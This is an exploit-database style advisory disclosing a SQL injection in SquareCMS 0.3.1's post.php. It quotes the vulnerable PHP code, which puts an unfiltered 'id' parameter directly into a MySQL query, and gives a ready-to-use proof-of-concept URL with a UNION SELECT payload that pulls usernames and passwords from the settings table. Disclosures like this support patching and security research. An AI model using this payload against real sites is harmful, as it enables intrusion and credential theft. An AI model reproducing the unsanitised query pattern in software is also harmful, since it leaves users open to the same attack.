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SquareCMS 0.3.1 (post.php) SQL Injection Vulnerability

Author
cOndemned
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-15237
Category
web applications
Date add
25-12-2010
Platform
php
SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability
found by cOndemned
vendor: http://spoolio.co.cc/
download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html
prior versions may also be affected
 
source of post.php lines 15 - 31:
 
    $token = $_GET['id'];                                   // [1]
     
    if (isset($token))
    {
        if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1"))  // [2]
        {
            if ($row = mysql_fetch_array($result, MYSQL_ASSOC))
            {
                header("Location: ".get_friendly_url($row['url']));     // [3]
                exit();
            }
        }
    }
     
    header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404           // [4]
    header("Content-Type: text/plain");
    print("404 Not Found\n");
 
 
description:
 
    User input from  variable token [1] is  being used in the MySQL query [2] without any
    filtration, so that there is possibility to run arbitarary sql commands.  If query is
    correct (returns proper result) user will be redirected to an url containing response
    [3]. In other case cms will force throwing 404 server response [4] ....
 
proof of concept:
 
    http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings--



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